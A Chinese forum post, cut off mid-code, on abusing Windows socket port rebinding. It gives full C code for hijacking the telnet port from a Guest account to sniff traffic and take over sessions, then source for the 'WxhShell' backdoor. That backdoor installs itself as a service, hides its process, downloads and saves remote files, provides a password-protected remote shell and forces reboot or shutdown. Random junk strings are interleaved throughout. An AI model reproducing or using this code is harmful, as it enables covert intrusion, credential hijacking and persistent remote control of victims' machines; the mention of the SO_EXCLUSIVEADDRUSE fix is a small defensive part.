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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: eLh35tw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MIkp4A  
.eVX/6,  
  saddr.sin_family = AF_INET; gn/]1NNfR  
O^./) #!#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z<!A;.iD  
<4;, y*"n  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); b p?TO]LH  
KK >j V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W!.FnM5x  
}oG6XI9  
  这意味着什么?意味着可以进行如下的攻击: iNi1+sm  
LzLJ6A>;R  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]Z\W%'q+  
l}-k>fug  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ziO(`"v  
fX,O9d$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 WW3Jxd  
A_ &IK;-go  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %YF /=l  
{_.(,Z{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mMZrBz7r  
X#0yOSR  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5M'cOJ  
9cN@y<_I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $4ZV(j]  
By!u*vSev  
  #include FVP,$  
  #include +&f_k@+  
  #include ,Iz9!i J"  
  #include    Yyd}>+|<,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !~F oy F  
  int main() S{2;PaK  
  { 8'3&z-  
  WORD wVersionRequested; u&o4? ]6  
  DWORD ret; G.XxlI}  
  WSADATA wsaData; a(O@E%|u  
  BOOL val; <bCB-lG*Kb  
  SOCKADDR_IN saddr; 6K8v:yYPa  
  SOCKADDR_IN scaddr; 6?US<<MQ  
  int err; Fq+Cr?-  
  SOCKET s; xA:;wV  
  SOCKET sc; |p+FIr+  
  int caddsize; qR2cRepV  
  HANDLE mt; (d NF)(wn  
  DWORD tid;   1z2v[S&pk  
  wVersionRequested = MAKEWORD( 2, 2 ); IN1 n^f$:  
  err = WSAStartup( wVersionRequested, &wsaData ); `hG`}G|^  
  if ( err != 0 ) { rs>,p)  
  printf("error!WSAStartup failed!\n"); g]44|9x(W  
  return -1; !U(S?:hvW  
  } hV`?, ~K  
  saddr.sin_family = AF_INET; r/NaoIrJV  
   *1b0IQ$g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;XZN0A2  
B$JPE7h@[P  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9dszn^]T  
  saddr.sin_port = htons(23); mqJD+ K  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Dqwd=$2%  
  { '#j6ZC/?  
  printf("error!socket failed!\n"); KdHkX+-R  
  return -1; }>y~P~`S:  
  } !(Y|Vm'   
  val = TRUE; :u=y7[I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z(4/;v <CT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j&A9 &+w  
  { Fv/{)H<:y  
  printf("error!setsockopt failed!\n"); MxGQM>  
  return -1; a>8] +@  
  } d^IX(y*$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v\!Cq+lFML  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Edh9=sxL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {nA+-=T  
MGw XZ7?E  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 30Q77,Nsny  
  { 9_&]7ABV  
  ret=GetLastError(); @c8RlW/A  
  printf("error!bind failed!\n"); AoxORPp'  
  return -1;  %O(W;O  
  } "AMwo(Yi  
  listen(s,2); bfJ<~ss/  
  while(1) Q(1R=4?.Z  
  { [!KsAsmk  
  caddsize = sizeof(scaddr); *}(B"FSO  
  //接受连接请求 E'8XXV^I?P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !.@:t`w  
  if(sc!=INVALID_SOCKET) 4^Ks!S>K{8  
  { BUh(pS:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1,Pg^Xu  
  if(mt==NULL) "GqasbX  
  { *E|3Vy{4  
  printf("Thread Creat Failed!\n"); :N<o<qn  
  break; =-P<v2|e  
  } ~$ ?85   
  } ep48 r>  
  CloseHandle(mt); | z}VP-L  
  } .bh 7  
  closesocket(s); UY.o,I> s  
  WSACleanup(); |P9)*~\5  
  return 0; @frV:%  
  }   Opy{i#>  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5PpS/I:on  
  { 3v#F0s|  
  SOCKET ss = (SOCKET)lpParam; jM{5nRQ  
  SOCKET sc; 4|eI_u{_  
  unsigned char buf[4096]; @Y9tkJIt  
  SOCKADDR_IN saddr; 5wvh @Sc\  
  long num; 9Z 6  
  DWORD val; (8W ?ym  
  DWORD ret; pF~aR]Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }.=wQ_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R >[G6LOG  
  saddr.sin_family = AF_INET; OCqknA  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5HAAaI  
  saddr.sin_port = htons(23); /b4>0DXT5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -"N vu  
  { X1u\si%.4S  
  printf("error!socket failed!\n"); \4OU+$m  
  return -1; h2+"e# _  
  } H}usL)0&&  
  val = 100; ,MLAW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6TQ[2%X'  
  { vsq |m 5  
  ret = GetLastError(); +f^|Yi  
  return -1; &"yoJ<L  
  } <\ ".6=E#W  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) { ux'9SA  
  { !.|A}8nK  
  ret = GetLastError(); \/ Zo*/  
  return -1; &y3;`A7,  
  } #K> Ue>hx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \/m-G:|  
  { >8`;SEnv  
  printf("error!socket connect failed!\n"); mLHl]xs4  
  closesocket(sc); Ci3 b(KR  
  closesocket(ss); 7$L*nf  
  return -1; E|VTbE YG  
  } ICWHEot  
  while(1) V-dub{K  
  { Djp;\.$(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gPpk0LZi  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 RS{E|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3XUie;*`  
  num = recv(ss,buf,4096,0); Z+FhI^  
  if(num>0) Fdx4jc13w  
  send(sc,buf,num,0); ]e? L,1-  
  else if(num==0) ?Bd6<F -G  
  break; 9.Sv"=5gz  
  num = recv(sc,buf,4096,0); /E Z -  
  if(num>0) a{}8030S  
  send(ss,buf,num,0); BL\H@D  
  else if(num==0) p<RIvSqM  
  break; BDi+ *8  
  } 2d OUY $4  
  closesocket(ss); wFL7JwK:G  
  closesocket(sc); ]#FQde4]5  
  return 0 ; s*e1m%  
  } ( d8rfet  
` P*PCiZos  
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========================================================== \Dx)P[Ur  
17ynFHMd,  
下边附上一个代码,,WXhSHELL .7Itbp6=R  
(%]M a  
========================================================== pvM`j86 _  
~2XiKY;W?  
#include "stdafx.h" V:8{MO(C\  
2 3A)^j  
#include <stdio.h> rWuqlx#  
#include <string.h> RWGAxq`9f  
#include <windows.h> A^7}:[s20  
#include <winsock2.h> ~:UAL}b{\~  
#include <winsvc.h> XiyL563gh  
#include <urlmon.h> XpP}(A@G  
JZ"XrS0?  
#pragma comment (lib, "Ws2_32.lib") chU,));F  
#pragma comment (lib, "urlmon.lib") 8-Z|$F"  
o5w =  
#define MAX_USER   100 // 最大客户端连接数 ].x`Fq3  
#define BUF_SOCK   200 // sock buffer E@)9'?q  
#define KEY_BUFF   255 // 输入 buffer Q~)A fa{  
212  
#define REBOOT     0   // 重启  BbNl:`  
#define SHUTDOWN   1   // 关机 R lmeZy4.  
n'<F'1SWv  
#define DEF_PORT   5000 // 监听端口 FzQ6UO~'  
[mG:PTK3  
#define REG_LEN     16   // 注册表键长度 G -RE  
#define SVC_LEN     80   // NT服务名长度 2NWQiSz  
!u%XvxJwDb  
// 从dll定义API M_#^zo "x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :>, m$XO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qyY]: (8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C,dRdEB>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EceD\}  
K55]W2I9  
// wxhshell配置信息 G/_9!lE  
struct WSCFG { jH]?vpP  
  int ws_port;         // 监听端口 h Ap(1h#m  
  char ws_passstr[REG_LEN]; // 口令 w O*x0$  
  int ws_autoins;       // 安装标记, 1=yes 0=no M[5fNK&nD  
  char ws_regname[REG_LEN]; // 注册表键名 ,V # r  
  char ws_svcname[REG_LEN]; // 服务名 4k=LVu]Kcr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Zl=IZ?F   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'FmnlC1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xw~&OF&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e4Jx%v?_P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FDIOST !  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4[f>kY%[  
0D^c4[Y'l  
}; 2g_2$)2  
`EzC'e  
// default Wxhshell configuration {~~'  
struct WSCFG wscfg={DEF_PORT, iea7*]vW  
    "xuhuanlingzhe", (&-!l2  
    1, ]s^Pw>/`  
    "Wxhshell", t,R4q*  
    "Wxhshell", Q`[J3-Q*{  
            "WxhShell Service", Iq: G9M  
    "Wrsky Windows CmdShell Service", iig@$ i#  
    "Please Input Your Password: ", kZHIzU  
  1, Nmu=p~f}3`  
  "http://www.wrsky.com/wxhshell.exe", ,~qjL|9  
  "Wxhshell.exe" Vi\kB%  
    }; ./E<v  
u75(\<{  
// 消息定义模块 >iFi~)i_4y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C!S( !Z,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Tyt1a>! qA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Lsz)\yIPj  
char *msg_ws_ext="\n\rExit."; J nf@u  
char *msg_ws_end="\n\rQuit."; 8z'_dfP=5  
char *msg_ws_boot="\n\rReboot..."; ttA0* >'  
char *msg_ws_poff="\n\rShutdown..."; J={IGA  
char *msg_ws_down="\n\rSave to "; l*>, :y  
C: <TJ  
char *msg_ws_err="\n\rErr!"; }|(v0]  
char *msg_ws_ok="\n\rOK!"; X,i^OM_  
2sNV09id  
char ExeFile[MAX_PATH]; ($*R>*6<x  
int nUser = 0; VW *d*!  
HANDLE handles[MAX_USER]; n~G-X  
int OsIsNt; 04QY x}a  
J+=+0{}  
SERVICE_STATUS       serviceStatus; guWX$C-+1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _16IP  
'"o&BmF  
// 函数声明 g0-J8&?X  
int Install(void); ?cD2EX%(  
int Uninstall(void); >p@v'h/Cr  
int DownloadFile(char *sURL, SOCKET wsh); \}+b_J6-  
int Boot(int flag); zkmfu~_)  
void HideProc(void); c:sk1I,d~^  
int GetOsVer(void); >Yt+LdG!-  
int Wxhshell(SOCKET wsl); @6:J$B~)u  
void TalkWithClient(void *cs); $z*Y:vFP  
int CmdShell(SOCKET sock); w2e 9Ue~WH  
int StartFromService(void); Vo:Gp  
int StartWxhshell(LPSTR lpCmdLine); =hDFpb,mr  
ZT%Q:]B+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f%5 s8)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ? _Y2'O  
 Vq K/GWg  
// 数据结构和表定义 yUp"%_t0  
SERVICE_TABLE_ENTRY DispatchTable[] = S 0L"5B@  
{ 0dKi25J  
{wscfg.ws_svcname, NTServiceMain}, *Z C$DW!-  
{NULL, NULL} ^Y- S"Ks  
}; w@"l0gm+u[  
0z:BSdno  
// 自我安装 mnS F=l;;  
int Install(void) c 6Z\ecH9  
{ m(?ZNtBQt  
  char svExeFile[MAX_PATH]; {|ChwM\x  
  HKEY key; OVgx2_F  
  strcpy(svExeFile,ExeFile); 4J6,_8`U  
%$H~  
// 如果是win9x系统,修改注册表设为自启动 ~AbTbQ3  
if(!OsIsNt) { 'SE?IE{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }Gg:y?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tX *}l|;(  
  RegCloseKey(key); S, %BhQ[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =%+o4\N,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); etkKVr;Kv  
  RegCloseKey(key); +1Ua`3dWN_  
  return 0; pXv@ QD#!  
    } t (>}  
  } &S|%>C{P.w  
} hAv.rjhw_  
else { _k2*2db   
nFY6K%[  
// 如果是NT以上系统,安装为系统服务 VQ((c:+!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oD>j2 6Q  
if (schSCManager!=0) VL O !hA#  
{ q=(.N>%  
  SC_HANDLE schService = CreateService 5<?s86GHh'  
  ( |'" 17c&  
  schSCManager, @ATJ|5.gr  
  wscfg.ws_svcname, )`B n"=  
  wscfg.ws_svcdisp, [>N`)]fP  
  SERVICE_ALL_ACCESS, "o.g}Pv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p{BBqKv  
  SERVICE_AUTO_START, FqT2+VO~  
  SERVICE_ERROR_NORMAL, 2 N$yn  
  svExeFile, Zn]njf1x  
  NULL, fF*{\  
  NULL, 5$w`m3>i(  
  NULL, leSR2os  
  NULL, {D9m>B3"{  
  NULL ~KF>Jow?Y  
  ); BQTibd  
  if (schService!=0) w;Jby  
  { ;)nV  
  CloseServiceHandle(schService); ~xSAR;8  
  CloseServiceHandle(schSCManager); ollk {N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sq~9 l|F  
  strcat(svExeFile,wscfg.ws_svcname); A:-r 2;xB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |0e7<[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2Yt+[T*  
  RegCloseKey(key); #ovmX  
  return 0; ExDv7St1(k  
    } !uwZ%Ux z  
  } @ZUrr_|  
  CloseServiceHandle(schSCManager); |q:p^;x  
} 4I97<zmrT  
} >|S&@<  
(+^z9p7/!  
return 1; C%l+<wpXO  
} S[zX@3eZV  
wmQT$`$b  
// 自我卸载 ~7}aW#  
int Uninstall(void) wxx3']:  
{ _'"whZ)2  
  HKEY key; zj9)vr`7  
/\0 rRT  
if(!OsIsNt) { NEb M>1>^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [G/ti&Od^  
  RegDeleteValue(key,wscfg.ws_regname); XzBnj7E  
  RegCloseKey(key); ,4&?`Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `f~\d.*U  
  RegDeleteValue(key,wscfg.ws_regname); QxaW x  
  RegCloseKey(key); g} /efE  
  return 0; V{ yP/X  
  } /P>t3E2c  
} ZgP~VB0)$  
} 1'G&PX   
else { n8dJ6"L<"  
>A RZ=x[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +Kz baBK  
if (schSCManager!=0) `,O#r0m  
{ &=-ZNWNo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qlJzXq{|`  
  if (schService!=0) (WISf}[l;  
  { z9B" "ws  
  if(DeleteService(schService)!=0) { bkvm-$/  
  CloseServiceHandle(schService); ~5Cid)Q}@o  
  CloseServiceHandle(schSCManager); &Is}<Ew  
  return 0; &*4C{N  
  } nbECEQ:|B  
  CloseServiceHandle(schService); sBLf(Q,  
  } Mt93YD-2+  
  CloseServiceHandle(schSCManager); :~Z -K\  
} }CCTz0[D"  
} H>qw@JiO!  
~Gz b^  
return 1; 8NJxtT~0c~  
} *@zh  
\pVmSac,  
// 从指定url下载文件 &O:IRR7p  
int DownloadFile(char *sURL, SOCKET wsh) Yi5^# G  
{ Gz,?e]ZV  
  HRESULT hr; eq!>~: #  
char seps[]= "/"; >$RQ  
char *token; Pd"=&Az|  
char *file; l 7XeZ} S  
char myURL[MAX_PATH]; $:i%\7=  
char myFILE[MAX_PATH]; wIbxnn  
\@}G'7{  
strcpy(myURL,sURL); fy6<KEea  
  token=strtok(myURL,seps); NZTG)<  
  while(token!=NULL) 9[5qN!P;y  
  { jgW-&nK!  
    file=token; vo]!IY  
  token=strtok(NULL,seps); `;7eu=  
  } 6Bop8B  
 `u 't  
GetCurrentDirectory(MAX_PATH,myFILE); ~fV\ X*  
strcat(myFILE, "\\"); ^]cl:m=*  
strcat(myFILE, file); Jx jP'8  
  send(wsh,myFILE,strlen(myFILE),0); +~x'1*A_  
send(wsh,"...",3,0); %lbDcEsf9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A%[ BCY_  
  if(hr==S_OK) s.#%hPX{  
return 0; |}-bMQ|  
else _-M27^\vV  
return 1; S#^2k!(|G  
z[0+9=<Y  
} b5@sG^  
sYG:\>}ie  
// 系统电源模块 )9]DJ!]&Q"  
int Boot(int flag) .S{FEV  
{ j v4O  
  HANDLE hToken; QH d^?H*  
  TOKEN_PRIVILEGES tkp; GI[TD?s  
Mxmo}tt  
  if(OsIsNt) { v><c@a=[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A5\00O~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X9-WU\?UC  
    tkp.PrivilegeCount = 1; nqFJNK]a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ){I0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7'~O ai~r  
if(flag==REBOOT) { d:X@zUR*)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X"k:+  
  return 0; u{'|/g&  
} ].Sz2vI  
else { Z0'&@P$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lA/.4"nN  
  return 0; 0aRHXc2<  
} LJc"T)>$`  
  } 6L!/#d0  
  else { \2c 3Nsra  
if(flag==REBOOT) { a$AR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ++=f7y u  
  return 0; vmj'X>Q  
} li37*  
else { [pRRBMho  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1`Ig A0V`"  
  return 0; iCtDV5  
} 0R-J \  
} kdP*{  
[KMNMg  
return 1;  81}JX  
} (B^rW,V[R  
M/mm2?4  
// win9x进程隐藏模块 7@1GSO:Yf  
void HideProc(void) ]i:_^z)R  
{ [2P6XoI#  
Q;xJ/4 Z"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T\wfYuc&X  
  if ( hKernel != NULL ) KbSE=3  
  { +Zg@X.z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cFZcBiw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *8I"7'xh  
    FreeLibrary(hKernel); 'nT#c[x[0  
  } QG=K^g  
jl"su:y  
return; ! }>CEE  
} 67g"8R#.V  
FX1H2N(  
// 获取操作系统版本 a_3w/9L4r  
int GetOsVer(void) (uVL!%61k  
{ FTQNS8  
  OSVERSIONINFO winfo; mz|p=[lR|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N`HiNb [  
  GetVersionEx(&winfo); [0n[\& 0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jcbq#  
  return 1; F;L8FL-  
  else 'N3)>!Y:8  
  return 0; b]b+PK*h  
} ~JS BZ@  
h5Ee*D e  
// 客户端句柄模块 >i_ #q$o  
int Wxhshell(SOCKET wsl) < 2SWfH1>  
{ g.*DlD%%  
  SOCKET wsh; M5kw3Jy5  
  struct sockaddr_in client; CUN1.i<pk8  
  DWORD myID; 1N}vz(0"  
eBWgAf.k  
  while(nUser<MAX_USER) 4q"4N2  
{ <Ej`zGhWz  
  int nSize=sizeof(client); 4D}hYk$eP0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); = inp>L  
  if(wsh==INVALID_SOCKET) return 1; o/6VOX  
ri%j*Kn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Am!OLGG4  
if(handles[nUser]==0) U38~m}c  
  closesocket(wsh); t$e'[;w  
else WDi2m"  
  nUser++; +ag_w}  
  } !(HPx@_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bE;c&g  
)|=4H>?%  
  return 0; ;pw9+zo ^M  
} fKW)h?.Kd  
=NmW}x|n  
// 关闭 socket .b? Aq^i8  
void CloseIt(SOCKET wsh) 5P{[8PZxbV  
{ ?C`r3  
closesocket(wsh); hv`I`[/J  
nUser--; 63i&<  
ExitThread(0); 3$_JNF`  
} dmWCNeja.  
T#<Q[h=  
// 客户端请求句柄 61w ({F  
void TalkWithClient(void *cs) PJ YUD5  
{ ?<` ;lu/eL  
9:*[Q"v  
  SOCKET wsh=(SOCKET)cs; 6>]w1 H  
  char pwd[SVC_LEN]; ;0U*N& f  
  char cmd[KEY_BUFF]; HbRvU}C1  
char chr[1]; iB|htH'T  
int i,j; nV`U{}x  
DL<;qhte  
  while (nUser < MAX_USER) { ,{;*b v  
#jh5%@  
if(wscfg.ws_passstr) { THlQifA!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =I aWf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c5_/i7  
  //ZeroMemory(pwd,KEY_BUFF); iu?gZVyka  
      i=0; {_mVfFG  
  while(i<SVC_LEN) { G c \^Kg^#  
UwxszEHC  
  // 设置超时 }<YU4EW  
  fd_set FdRead; /,_m\ JkwL  
  struct timeval TimeOut; :dqZM#$d  
  FD_ZERO(&FdRead); Gj?$HFa  
  FD_SET(wsh,&FdRead); 6?Kl L [~  
  TimeOut.tv_sec=8;  !TivQB  
  TimeOut.tv_usec=0; l/,la]!T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qW`?,N)r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fwvwmZW  
! 1=*"H%t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v;`>pCal  
  pwd=chr[0]; U.5R3z  
  if(chr[0]==0xd || chr[0]==0xa) { =Oq *9=v|  
  pwd=0; T(qTipq0  
  break; ;: &|DN3;  
  } QWnGolN  
  i++; vz~Oi  
    } @mJ~?d95v  
Mg2e0}{  
  // 如果是非法用户,关闭 socket z)(W x">  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )3)7zulnXH  
} L+*:VP6WD  
: 0 ,yq?M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4BSqL!i(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $}.+}'7$  
KZTLIZxI-  
while(1) { OLqV#i[K#9  
&=x4M]t9L  
  ZeroMemory(cmd,KEY_BUFF); ;*$e8y2  
n\M8>9c  
      // 自动支持客户端 telnet标准   Y!8FW|  
  j=0; yIcTc  
  while(j<KEY_BUFF) { B]H8^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @({=~ W^  
  cmd[j]=chr[0]; 7nPcm;Er  
  if(chr[0]==0xa || chr[0]==0xd) { FZ?:BX^  
  cmd[j]=0; :EAh%q  
  break; ? 3OfiGX?  
  } Xi1|%  
  j++; `IEA  
    } 7FJ4;HLQ  
c -PZG|<C[  
  // 下载文件 TZ+ p6M8G  
  if(strstr(cmd,"http://")) { )|vy}Jf7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s[sv4hq  
  if(DownloadFile(cmd,wsh)) 14" 57Jt8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J jm={+@+  
  else eZ+6U`^t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .>eRX%  
  } NhCucSU<K  
  else { P1Z"}Qw  
E*u*LMm  
    switch(cmd[0]) { BvsSrse  
  oOaFA+0x  
  // 帮助 |?#JCG  
  case '?': { A[8m3L#k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #-\5O  
    break; DnFzCJ  
  } 4qz+cB_  
  // 安装 bD0l^?Hu!  
  case 'i': { Y+ UJV6  
    if(Install()) Q"ZpT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l'/`2Y1  
    else *V%"q|L8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K6t"98  
    break; vX\9#Hj  
    } rHTZM,zM=H  
  // 卸载 gu!!}pwV9  
  case 'r': { c )LG+K  
    if(Uninstall()) 5E-;4o;RI(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H7GI`3o  
    else DH yv^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2t9UJu4  
    break; $Yt|XT+!&  
    } 0M"n  
  // 显示 wxhshell 所在路径 W`_JERo  
  case 'p': { S )rr  
    char svExeFile[MAX_PATH]; 60vmjmXl  
    strcpy(svExeFile,"\n\r"); \1jThJn  
      strcat(svExeFile,ExeFile); yAryw{(  
        send(wsh,svExeFile,strlen(svExeFile),0); HoABo:  
    break; ?UAuUFueA  
    } C[<}eD4bV  
  // 重启 @k&6\1/U  
  case 'b': { Vf&U`K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D9[19,2r`  
    if(Boot(REBOOT)) 1oej<67PdJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I09 W=  
    else { o 2 Nu@^+  
    closesocket(wsh); [M[<'+^*  
    ExitThread(0); 8Y.q P"s  
    } v*?8:>:}  
    break; JFVx&  
    } 6[3Xe_  
  // 关机 /iFn =pk1?  
  case 'd': { AN Fes*8j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IQ @9S  
